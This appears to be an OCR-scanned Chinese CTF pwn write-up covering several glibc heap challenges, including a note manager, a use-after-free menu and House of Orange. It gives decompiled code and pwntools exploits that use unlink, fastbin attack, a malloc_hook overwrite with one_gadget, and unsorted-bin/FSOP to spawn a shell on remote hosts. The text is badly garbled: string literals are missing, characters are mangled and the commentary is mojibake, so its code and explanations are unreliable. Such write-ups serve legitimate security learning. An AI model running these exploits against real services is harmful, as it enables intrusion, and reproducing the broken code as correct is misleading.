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new

int new()

{
int i; // [rsp+Ch] [rbp-14h]
__inté4 size; // [rsp+leh] [rbp-18h]
void *v3; // [rsp+18h] [rbp-8h]

for (1 =9; 1 <=6 & & *(&ptr + 1); ++1 )

if (1==7)
puts("Note is full, add fail");
puts("Input the length of the note content:(less than 1824)");
size = sub_4009B9();
if ( size < @ )
return puts("Length error");
if ( size > 1824 )
return puts(“"Content is too long");
v3 = malloc(size);
puts("Input the note content:");
sub_4ee8DD(v3, size, 16LL);
*(&ptr + 1) = v3;
qword_6020Ce[1 + 8] = size;
gword_6e20Ce[e] = (__inte4)*(&ptr + 1);
““return printrt( note add success, the 14 1s »d\n", (unsigned int)i);

h

2= 15bss
AN, HORAFE R chunk 5 K /N BL R Bl — YR H 1 [B1 R i chunk g st bk



edit

int edit()
{
__inte4 ve; // rax
__inte4 vi1; // rax
__inté4 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
ve = sub_4009B9();

vy = v % 7_;

if (ve % 7 >= ve )

{
vl = (__int64)*(&ptr + v3);
if (vl)
{

puts("Input the new content:");
sub_4eesDD(* (&ptr + v3), gword_6@2eCe[v3 + 8], 16eLL);
qword_6020Ce[e] = (__inted)*(&ptr + v3);
LODWORD(v1) = puts("Edit success");
¥
¥

else

{
LODWORD(v1) = puts("please input correct id.");

h

return v1;




free

int delete()
{
__inté4 ve; // rax
__inté4 v1; // rax
__inté4 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
ve = sub_40e9B9();

3 =ve % 7;

F(ve%7>va)

i
{
vl = (__inted)*(&ptr + v3);
if (vl )
{
free(*(&ptr + v2));
if ( (void *)gword_e@28Ce[e] == *(&ptr + v3) )
qword_6e2eCe[e] = eLL;
*(&ptr + v3) = OLL;
LODWORD(v1) = puts("Delete success");
}
}
else
{

LODWORD(v1) = puts("please input correct id.");
}

return vl1;
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from pwn import

P remote ( ,29603)
elf = ELF( )
1libc ELF(

atoi_got elf.got|[

free_got elf.got|[

puts_plt elf.plt[

heap_addr = 0x6020C8

def add(size,content):
r.sendlineafter( 5 )
r.sendlineafter( 5 (size))
r.sendafter( ,content[@:size-1])

def edit(index,content):
r.sendlineafter(

r.sendlineafter( 5 (index))

r.sendafter( ,content)




r.sendlineafter(

r.sendlineafter( (index))

, 0x100)

, 0x100)
0x10)
0x10)
0x10)
0x10)
0x10)

s 0x100)

p64(9) p64(0x101)

p64(heap_addr - 0x18) p64(heap_addr - 0x10)
payload.ljust(0x100, )

p64(0x100) + p64(0x110)

edit (0x8000000000000000 - 0x10000000000VVV0,payload)

p64(9) 3 + p64(free_got) p64(atoi_got) *2
payload.ljust(80, )
p64(0x8)*3
edit(0,p64(0) 3 + p64(free_got) p64(atoi_got) *2
edit(0,p64(puts_plt)[0:7] )

atoi_addr ub4(sh.recv(6).ljust(8,
libc_base = atoi_addr - libc.sym[
libc_base + libc.sym|[
5 (libc_base)
(system_addr)

edit(2,p64(system_addr)[0:7]
r.sendlineafter(

r.interactive()
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ssize t vul()

{
char buf[72]; // [esp+eh] [ebp-48h] BYREF

printf("Hei,give you a gift->%p\n", buf);
puts("what do you want to do?");
return read(e, buf, 1ee);
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from pwn import
remote( , 29859)
(r.recv(8), 16)
(buf_addr)

) p32(buf_addr)

r.sendline(payload)

r.interactive()
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insigned __ int64 sub_480916()

int v@; // eax

int v1; // ebx

char s[24]; // [rsp+16h] [rbp-36h] BYREF
unsigned __inté4 v4; // [rsp+28h] [rbp-18h]

vd = __readfsqword(©x28u);
if ( dword_6828BC <= 3 )
{
puts(“size>");
fgets(s, 8, stdin);
vl = atoi(s);
if ( ve & & (unsigned __int64)ve <= Ox78 )
{
vl = dword_6820BC++;
*(&buf + v1) = malloc(ve);
¥

else

{
puts("No need");

¥
¥

else

{
¥

return __readfsqword(@x28u) *~ v4;

puts("No need");
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TheE2 2 free

unsigned _ _int64 sub_4809D7()

{
__inte4 vi1; // [rsp+8h] [rbp-28h]

char s[24]: // [rsp+16h] [rbp-206h] BYREF
unsigned __inte4 v3; // [rsp+28h] [rbp-8h]

v3 = _ readfsqword(©x28u);
puts("index>");

fgets(s, 8, stdin);

vl = atoi(s);

free(*(&buf + vi));

return __readfsgword(&x28u) ~ v3;

edit

uaf

unsigned __int64 sub_480A4D()

{
__inte4 vi1; // [rsp+8h] [rbp-28h]

v3 = _ readfsqword(©x28u);
puts("index>");

fgets(s, 8, stdin);

vl = atoi(s);

read(e@, *(&buf + v1), 8uLL);
return __readfsgword(&x28u) ~ v3;

int sub_400896()
{

int result; // eax

if ( qword_602090 )

result = puts("Not yet");
else

result = system("/bin/sh");
return result;

h
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char s[24]: // [rsp+16h] [rbp-206h] BYREF
unsigned __inte4 v3; // [rsp+28h] [rbp-8h]

REFIAN\A 775

SRR, FRATH0E L B fastbin attack, RN HEEIE R, NATERER, BT

exp



from pwn import

r remote( ,28075)

def add(size):
.recvuntil(
.sendline(
.recvuntil(

.sendline(

def delete(idx):
.recvuntil(
.sendline(
.recvuntil(
.sendline( (idx))

def edit(idx,content):
r.recvuntil(
.sendline( )
.recvuntil(
.sendline( (idx))
.sendline(content)

r.interactive()
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dword_202068[4 * v2] = vi;

*((_QWORD *)&unk_202060 + 2 * v2) = v3;

puts("input your name:");

sub_AF6(*((_QWORD *)&unk_202060 + 2 * v2), (unsigned int)vl);
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delete

v4 = _ readfsqword(©x28u);
printf("input idx :");
v3 = sub_AAE("input idx :", a2);
if (v2 <@ && v3 > 9)
{

printf("error");

exit(e);

void **)&unk 202060 + 2 * v3
puts("Done!");
return __readfsqword(®x28u) ~ v4;

¥ K Auaf

rename

v4 = _ readfsqword(©x28u);
printf("input idx: ");
v3 = sub_AAE("input idx: ", a2);
if (v2 <@ && v3 > 9)
{

printf("error");

exit(e);
}
puts("new content:");
sub_AF6(*((void **)&unk_202060 + 2 * v3), dword_202068[4 * v3]);
puts("Done 1");
return __readfsgword(&x28u) ~ v4;
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from pwn import
def pwn():

global r

r remote( ,25160)
elf = ELF(

libc ELF( )

def add(size,idx,name):

r.sendlineafter( 5 )
r.sendlineafter( 5 (size))




r.sendlineafter( 5 (idx))
r.sendafter( ,hame)

def delete(idx):
r.sendlineafter( )

r.sendlineafter( 5 (idx))

def edit(idx,data):
r.sendlineafter( 5 )
r.sendlineafter( 5 (idx))
r.sendafter( ,data)

payload=p64(0)*1+p64(0x71)

add(0x28,0,payload)

add(ox18,1, )

add(0x38,2, )

add(ex60, 3, )

add(0x60,4, )

add(0x60,5, )

delete(3)

delete(4)

edit(4,

add(0x60, 8, )
add(0x60,7,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xbl))
delete(2)

delete(3)

add(0x38,2, )

edit(3, )

payloadl 0x33+p64 (0xfbad3c80)+3*p64(0)+p8(0)
add(0x60, 8, )

add(ex60,9,payloadl)

libc_base=u64(r.recvuntil( )[-6:].1just(8, ))-0x3c5600
malloc_hook=1ibc_base+libc.sym[ ]
one_gadget=1ibc_base+0xf1147

delete(3)

delete(4)

delete(3)

add(ex60, 3,p64(malloc_hook-0x23))
add(0x60,6, )

add(0x60,4, )

add(ex60, 8, 0x13+p64(one_gadget))

.sendlineafter( )
.sendlineafter( (0x20))
.sendlineafter( (8))
.interactive()

-
-
-
-

return True

if _ name__
while True:
try:
if pwn()==True:
break
except Exception as e:
r.close()

continue
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puts ("+++++++HHH )
puts("@ House of Orange @");
puts ("+++++++HHH )
puts(" 1. Build the house ")
puts(" 2. See the house )
puts(" 3. Upgrade the house ")

)

)

»
n

-

-

puts(" 4. Give up "
puts ("++++++++++trt bbb bbb
return printf("Your choice : ");

-

>

build

if ( size > exleee )
size = 4896;
house_addr[1] = malloc(size);
if ( !house_addr[1] )
{
puts("Malloc error !!I");
exit(1);
}
printf(“Name :");
get_string(house_addr[1], size);
price_addr = calloc(luLL, 8ulLL);
printf("Price of Orange:");
*price addr = get_num();
sub_CC4();
printf("Color of Orange:");
color = get_num();

if ( color != 56746 && (color <= @ || color > 7))

{

puts(“No such color");
exit(1);
}
if ( color == 56746 )
price_addr[1] = 56746;
else
price_addr[1] = color + 30;
*house_addr = price_addr;
qword_203068 = house_addr;
++house_num;
return puts("Finish");
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housearry [~~~

orange

price

Nname

color

orangelfI B4 2 4 5 256746, EE4 i Z0%6.

see

if ( 'house )
return puts(“"No such house !");

if ( *(_DWORD *)(*house + 4LL) == 56746 )

{
printf("Name of house : %s\n", (const char *)house[1]);
printf("Price of orange : %d\n", *(unsigned int *)*house);
ve = rand();

}

else

{
if ( *(int *)(*house + 4LL) <= 3@ || *(int *)(*house + 4LL) > 37 )

puts("Color corruption!");
exit(1);
¥
printf(
printf(
= rand();
sult = printf("\x1B[%dm%s\x1B[@m\n", *(unsigned int *)(*house + 4LL), *((const char

"Name of house : %s\n", (const char *)house[1]);
"Price of orange : %d\n", *(unsigned int *)*house);

"

m r

¥

return result;

SRJEVEIX 5567461303364 H 2 AN —HFE .

upgrade

result = printf("\x1B[©1;38;5;214m%s\x1B[@m\n", *((const char **)&unk_203080 + v& % 8));

**)&unk_203080 + v2 % 8));

i



if ( unk_203074 > 2u )
return puts("You can't upgrade more");
if ( !house )
return puts("No such house !");
printf(“Length of name :");
v2 = get_num();
if ( v2 > ex1eee )
vZ = 4096;
printf(“Name:");
get_string(house[1], v2);
“pPrImCTL rrice or oA -
vl = (_DWORD *)*house;
*vl = get_num();
sub_CC4();
printf("Color of Orange: ");
v3 = get_num();
if ((v3 !=56746 && (v3 <=0 || v3 > 7))

{
puts("No such color");
exit(1);
¥
if ( v3 == 56746 )
*(_DWORD *)(*house + 4LL) = 56746;
else
*(_DWORD *)(*house + 4LL) = v3 + 30;

++unk_203074;
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assert ((old_top initial top (av) old _size Q)
((unsigned long) (old size) MINSIZE
prev_inuse (old_top)

((unsigned long) old end (pagesize 1)) 0));

assert ((unsigned long) (old_size) (unsigned long) (nb + MINSIZE));

B LEAEAFIE, BERAMIY

KFMINSIZE(0X10)
NFRTFIR/N + MINSIZE
prev inusef{i & N1

old_top + oldsizefIE & Tk 55 1]

s 8,123,1)
0x30 p64(9) p64(0x21) 16+ p64(0)+ p64(0xf81)
(payload),payload,123,2)

<

c K Fmallocf 70 B BIME, it Z£mp_.mmap_threshold, 75 M AY16E4s 21 Fmmap B 25 1R], 2> HiEElibe L.
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build(ex1000, 'b',123,1)
build(0x400, 8,123,1)

St
Cel
£

=R ERA T LM EE bk . old chunkE Aunsorted binH (I FATT AT LA tt g2 libeft b, HiG Rk EE wilr 1, R i
o oxiti Nlarge bin, FRATH HIE R FEER ,  #AT LLETE heap i 3L .

8)
ub4(r.recv(6).ljust(s,
leak -0x3c5188
(leak)
(libc_base)

s 16,123,1)

ub4(r.recv(6).ljust(8, )))
leak_heap - 0Oxe0
(leak_heap)
(heap_base)




VDRI AR, DI NET B4 Ll freeffchunkoRibFATE R, J5—NE B2 BATE 2381
Witi_I0_FILERZEFIFA ] Hshell

B Je R R AR
old_topHsize it ’s5 NOx60, AR, 2x2% Munsortbind B Fold_top, A #F|smallbin[4], [E, unsortbin.bkt ki
5 T &IO_list_all-0x10, it LRk [f)victim->size=0F 4 A2 i@l £ 5%, #F Amalloc_printerr, fili & 5%

HAR— DB 4ue, w27 A Junsorted bin attackZt s 2 J5, AT —T, Bt unsorted binth & H 114, fSHEHRATZ AT
bekiEHEZF, MFA TR i chunk I, — Bk a2 5 %F undorted . T ) chunk 5 k6 75 .

while ((victim unsorted chunks (av)->bk) unsorted_chunks (av))

{

bck victim->bk;
if (__builtin_expect (victim->size 2 * SIZE SZ, 9)
__builtin_expect (victim->size av->system_mem, 0))
malloc_printerr (check_action,
chunk2mem (victim), av);

size chunksize (victim);

AT ichunk sizefir 20, B NMIRIbekZ& 10 list_all- 0x10, frbAsize i 5 20, whasfeifd IR MG & i, SR )5 MM
SE R o

p64(0) + p64(0x21) 0x10

p64(0x61)
p64(9) p64(_I0 list all - ox10)
p64(0) + p64(1)

fake_file.ljust(@xce,
fake_file
p64(0)*3

p64(heap_base + 0x5f0)
p64(0)*3
p64(system)

upgrade (0x800,payload,123,1)

Fir LEEA fflexp

from pwn import
from LibcSearcher import

r remote( , 28437)




def add(size, content, price, color):
r.recvuntil( )

.sendline(

.recvuntil(

.sendline( (size))

.recvuntil( )

.send(content)

.recvuntil(

.sendline( (price))

.recvuntil(

> e B B B B B B B

.sendline( (color))

def show():
r.recvuntil(

r.sendline(

def edit(size, content, price, color):
r.recvuntil( )

.sendline(

.recvuntil(

.sendline( (size))

.recvuntil( )

.send(content)

.recvuntil(

.sendline( (price))

.recvuntil(

"
"
"
"
"
"
"
"
"

.sendline( (color))

, ,0x1234,0xddaa)
0x30 +p64(08) + p64(Ox21) + p32(666)
(payload), payload, 666, ©xddaa)

, ,0x1234, ©Oxddaa)
8, 199, 2)

8)
ub4(r.recvuntil( ).1ljust(8,
(malloc_hook))
libc.address malloc_hook libc.symbols|
io_list all libc.symbols| ]
system libc.symbols|

payload 0x10

edit(0x10, payload, 199, 2)

show()

r.recvuntil( 0x10)

heap = u64(r.recvuntil( ).strip().1ljust(8,
heap_base heap - OxE@

success( (heap))

p32(0xddaa)

))

0x668

p64(0)

0x10

2

p64(0xf81)




p64(0x61)

p64(0)+p64(io_list all-0x10)
p64(0) + p64(1)

fake file.ljust(0xco,
p64(9) 3
p64(heap_base+0x5E8)
p64(9) 2
p64(system)

fake file

(payload), payload, 666, 2)

r.interactive()
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